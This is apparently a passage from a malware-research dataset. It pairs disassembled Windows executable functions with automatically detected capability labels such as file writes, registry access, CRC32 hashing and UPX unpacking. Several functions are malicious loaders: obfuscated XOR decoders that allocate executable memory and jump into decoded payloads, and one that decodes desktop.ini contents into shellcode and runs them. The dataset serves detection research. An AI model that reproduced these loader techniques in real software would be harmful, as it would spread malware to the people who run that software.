joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bacad
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c43c0
cmp edx, dword [eax]
je 0x4baccf
add eax, 8
inc ecx
cmp eax, 0x4c4450
jl 0x4bacc0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c43c0]
jne 0x4badfd
mov eax, dword [0x4c8d4c]
cmp eax, 1
je 0x4badd7
test eax, eax
jne 0x4bad00
cmp dword [0x4c42ec], 1
je 0x4badd7
cmp edx, 0xfc
je 0x4badfd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bad37
lea eax, [ebp - 0x1a4]
push 0x4bfd20
push eax
call fcn.004bb690
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbb20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bad7a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbb20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bfd1c
push edi
call fcn.004bd9f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4bfd00
push eax
call fcn.004bb690
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb6a0
lea eax, [ebp - 0xa0]
push 0x4bfcfc
push eax
call fcn.004bb6a0
push dword [esi + 0x4c43c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb6a0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4bfcd4
push eax
call fcn.004bd964
add esp, 0x2c
pop edi
jmp 0x4badfd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c43c4]
push 0
push eax
push dword [esi]
call fcn.004bbb20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x406243
pop dword [ebp - 0x34]
mov eax, 0x4864770a
sub eax, 0x482414c7
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x89eb280a
add dword [ebp - 0x44], 0xc4671d41
mov dword [ebp - 0x40], 0xae7db021
sub dword [ebp - 0x40], 0x7c4a63dc
mov dword [ebp - 0x3c], 0xebc803e4
sub dword [ebp - 0x3c], 0x9f7bbfb6
mov dword [ebp - 0x38], 0x11e28f30
add dword [ebp - 0x38], 0xee1d70d0
lea eax, [ebp - 0x44]
push eax
mov eax, 0x26bf7345
add eax, 0xd9810dbf
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xaad9b79b
sub dword [ebp - 0x44], 0x36674e45
mov dword [ebp - 0x40], 0x9d7edd1c
sub dword [ebp - 0x40], 0x5c127ba7
mov dword [ebp - 0x3c], 0x94f42c32
add dword [ebp - 0x3c], 0xce7b403a
mov dword [ebp - 0x38], 0x4210c09c
add dword [ebp - 0x38], 0xbdef3f64
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x36403
push 0
call eax
mov ecx, 0xf26f508f
add ecx, 0xd90f45a
mov esi, eax
mov edi, 0x3f5bdc73
sub edi, 0x3f14f873
add edi, dword [ebp - 0x34]
mov edx, 0xf2a231b2
mov ebx, dword [edi]
add dword [ebp - 0x2c], ebx
xor ebx, edx
mov dword [esi], ebx
add esi, 0x6aa2e0b2
sub esi, 0x6aa2e0ae
add edi, 4
loop 0x40635a
add eax, 0xe71910c
sub eax, 0xe708a95
mov ebx, eax
add eax, 0x1b751d7e
add eax, 0xe48ae287
mov ecx, 0x773578ad
add ecx, 0x890a8753
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x10040fb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push 0x10013b0
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1004153
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x10013ec
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1004146
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1004155
xor eax, eax
pop esi
leave
ret 4

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x1000de19
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x100a6945
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000dea6
cmp dword [ebp + 8], 0
jne 0x1000de56
push 0xabc410
push 0x2d24d60
call fcn.1000e146
cmp dword [ebp + 8], 1
jne 0x1000de6f
push 0xabc410
push 0x2d24d60
call fcn.1000e6b1
cmp dword [ebp + 8], 2
jne 0x1000de88
push 0xabc410
push 0x2d24d60
call fcn.1000ecb5
cmp dword [ebp + 8], 3
jne 0x1000dea1
push 0xabc410
push 0x2d24d60
call fcn.1000f3eb
jmp 0x1000e140
push 0x100a6948
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000df2a
cmp dword [ebp + 8], 0
jne 0x1000deda
push 0xabc330
push 0x2d24d60
call fcn.1000fc53
cmp dword [ebp + 8], 1
jne 0x1000def3
push 0xabc330
push 0x2d24d60
call fcn.100101be
cmp dword [ebp + 8], 2
jne 0x1000df0c
push 0xabc330
push 0x2d24d60
call fcn.100107c2
cmp dword [ebp + 8], 3
jne 0x1000df25
push 0xabc330
push 0x2d24d60
call fcn.10010ef8
jmp 0x1000e140
push 0x100a694b
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000df59
push 0xabc4f0
push 0x2d24d60
call fcn.10011760
jmp 0x1000e140
push 0x100a694e
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000dfdd
cmp dword [ebp + 8], 0
jne 0x1000df8d
push 0xabc6b0
push 0x2d24d60
call fcn.1001202e
cmp dword [ebp + 8], 1
jne 0x1000dfa6
push 0xabc6b0
push 0x2d24d60
call fcn.10012599
cmp dword [ebp + 8], 2
jne 0x1000dfbf
push 0xabc6b0
push 0x2d24d60
call fcn.10012b9d
cmp dword [ebp + 8], 3
jne 0x1000dfd8
push 0xabc6b0
push 0x2d24d60
call fcn.100132d3
jmp 0x1000e140
push 0x100a6951
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000e00c
push 0xabc8d0
push 0x2d24d60
call fcn.10013b3b
jmp 0x1000e140
push 0x100a6955
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000e090
cmp dword [ebp + 8], 0
jne 0x1000e040
push 0xabc5d0
push 0x2d24d60
call fcn.100146cf
cmp dword [ebp + 8], 1
jne 0x1000e059
push 0xabc5d0
push 0x2d24d60
call fcn.10014c3a
cmp dword [ebp + 8], 2
jne 0x1000e072
push 0xabc5d0
push 0x2d24d60
call fcn.1001523e
cmp dword [ebp + 8], 3
jne 0x1000e08b
push 0xabc5d0
push 0x2d24d60
call fcn.10015974
jmp 0x1000e140
push 0x100a6959
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.100017c2
add esp, 8
cmp eax, 0
jne 0x1000e140
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 0x2c6fe24
call fcn.1000247d
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x190
je 0x1000e0fb
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
push 0x2c6fe24
call fcn.1000247d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x12c
je 0x1000e0fb
xor eax, eax
jmp 0x1000e100
mov eax, 1
test eax, eax
je 0x1000e10d
call fcn.10004939
mov dword [ebp - 4], esp
push 0x1f4
mov eax, 0x13
call fcn.10024755
cmp dword [ebp - 4], esp
je 0x1000e13b
push 0x899
push 0x401912d
push 6
call fcn.1002474f
add esp, 0xc
call fcn.100161dc
mov esp, ebp
pop ebp
ret 8
Function at 0x406cfc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4378ac], 0
jne 0x406d3a
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406d10
mov dword [ecx*4 + 0x4378a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406d0b
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406d67
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4378a8]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406d48
not eax
pop ebp
ret 0xc

Function at 0x406da5
Capabilities:
Hash data using murmur3

Disassembly:
mov eax, dword [esp + 4]
shr eax, 0xf
xor eax, dword [esp + 4]
imul eax, eax, 0x85ebca77
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul ecx, ecx, 0xc2b2ae3d
mov eax, ecx
shr eax, 0x10
xor eax, ecx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401488
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4535b0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40151d
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x4014da
cmp dword [ebp + 0x10], ebx
jne 0x401511
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.00401488
test eax, eax
jne 0x4014ec
push edi
lea eax, [ebp - 0x10c]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014c1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405e20
cmp eax, ebx
je 0x401524
push ebx
push dword [0x4535b0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40151d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x4535b0], ebx
jne 0x40151a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x40151a
jmp 0x40151d
Function at 0x405864
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x444538
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x444538], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40589f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4059db
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4059f8
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x4059fb
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
inc ecx
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405a2a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405a6e
test edi, edi
jne 0x405a35
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405a68

Function at 0x405a72
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405ae3
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x2000
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405ad2
cmp dword [ebp + 0x14], 1
je 0x405ad4
cmp dword [ebp + 0x14], 2
je 0x405ad4
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x1fff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405c47
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x405c6c
mov eax, dword [0x40a058]
cmp eax, 0xffffffff
je 0x405c63
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a058], 0xffffffff
jmp 0x405ce1
cmp dword [0x44a84c], ebx
je 0x405ce1
cmp byte [0x44f060], bl
je 0x405cab
cmp dword [0x40a058], 0xffffffff
jne 0x405cb4
push 4
push 0x40000000
push 0x44f060
call fcn.004059fb
cmp eax, 0xffffffff
mov dword [0x40a058], eax
je 0x405ce1
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a058], 0xffffffff
je 0x405ce1
push esi
push 0x408cbc
mov esi, 0x44a860
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea ecx, [ebp + 8]
push ecx
push eax
push esi
push dword [0x40a058]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x405ede
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x444580
push esi
call fcn.00405b8b
push esi
call fcn.0040596a
mov edi, eax
test edi, edi
jne 0x405eff
xor eax, eax
jmp 0x405f57
push edi
call fcn.00405bad
test byte [0x453528], 0x80
je 0x405f18
mov al, byte [edi]
test al, al
je 0x405efb
cmp al, 0x5c
je 0x405efb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
sub edi, esi
jmp 0x405f38
push esi
call fcn.00405df9
test eax, eax
je 0x405f32
test byte [eax], 0x10
je 0x405f5c
push esi
call fcn.00405eb7
push esi
call ebx
cmp eax, edi
jg 0x405f23
push esi
call fcn.00405e8a
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x405f56
Function at 0x40620c
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405e20
test eax, eax
mov esi, dword [esp + 0x18]
je 0x406230
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x406369
test esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x446580], 0x4c554e
mov edi, 0x400
mov ebp, 0x446580
je 0x406274
push 1
push 0
push esi
call fcn.004059fb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x40636f
cmp eax, edi
jg 0x40636f
push edi
mov esi, 0x446ec0
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x40636f
cmp eax, edi
jg 0x40636f
push esi
push ebp
push str._s_s_r_n
push 0x446980
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x4534cc]
push dword [eax + 0x128]
push esi
call fcn.00405fb6
push 4
push 0xc0000000
push esi
call fcn.004059fb
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x406369
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x406362
push 0
lea eax, [esp + 0x1c]
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406362
cmp edi, dword [esp + 0x18]
jne 0x406362
push str._Rename__r_n
push esi
call fcn.00405f60
test eax, eax
jne 0x406376
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call fcn.00405b8b
add edi, 0xa
mov eax, edi
push ebx
push 0x446980
add eax, esi
push eax
call fcn.004059b7
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x1c]
push eax
add edi, ebx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x453590]
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0x408d68
add eax, 0xa
push eax
call fcn.00405f60
test eax, eax
je 0x40632d
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x40639d
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x406392
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x40632f
Function at 0x4065c9
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4492c4], 0
jne 0x406604
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4065dd
mov dword [ecx*4 + 0x4492c0], eax
inc ecx
cmp ecx, 0x100
jl 0x4065d8
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406631
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4492c0]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406612
not eax
pop ebp
ret 0xc
Function at 0x4464b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4464c6
pop dword [ebp - 0x14]
mov eax, 0xabd8c80e
sub eax, 0xab946348
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x51d9a
push 0
mov eax, 0x1cc06df9
sub eax, 0x1c7bbb3d
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xd49d1aa1
add ecx, 0x2b633534
xor esi, esi
add esi, eax
mov edi, 0x487e00
add edi, dword [ebp - 0x14]
mov edx, 0xdcc37994
add edx, 0xbe32b2ae
xor dword [ebp - 8], 0x6b498e30
mov ebx, dword [edi]
xor dword [ebp - 0x10], 0xd18ae1b8
add ebx, edx
xor dword [ebp - 0xc], ecx
mov dword [esi], ebx
mov dword [ebp - 4], 0x299d6afe
add esi, 4
add edi, 0x2de661a2
sub edi, 0x2de6619e
loop 0x446521
add eax, 0x13227
mov ebx, eax
add eax, 0x9e0906c7
add eax, 0x61f6f93e
mov ecx, 0x42564ba1
add ecx, 0xbde9b45f
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x434bea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x434c29
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x434c29
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x434c29
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x434c29
cmp dword [ecx + 0x74], 0xe
jbe 0x434c29
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x43b427
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4465b0
push 0x4465a8
push str.FlsAlloc
push 0x1f
call fcn.0043b343
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43b45b
push dword [ebp + 8]
mov ecx, esi
call dword [0x44310c]
call esi
jmp 0x43b461
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x43b4a5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4465c0
push 0x4465b8
push str.FlsGetValue
push 0x21
call fcn.0043b343
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43b4dc
push dword [ebp + 8]
mov ecx, esi
call dword [0x44310c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x43b4e4
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4465c8
push 0x4465c0
push str.FlsSetValue
push 0x22
call fcn.0043b343
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43b51e
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x44310c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x43df49
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43dfe6
push ebx
push esi
call fcn.0043df12
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0043ce2f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43df93
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43dfe5
push edi
push eax
call fcn.0043b649
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43dfb3
call fcn.0043b1f0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43dfe4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0043ce2f
add esp, 0x20
test eax, eax
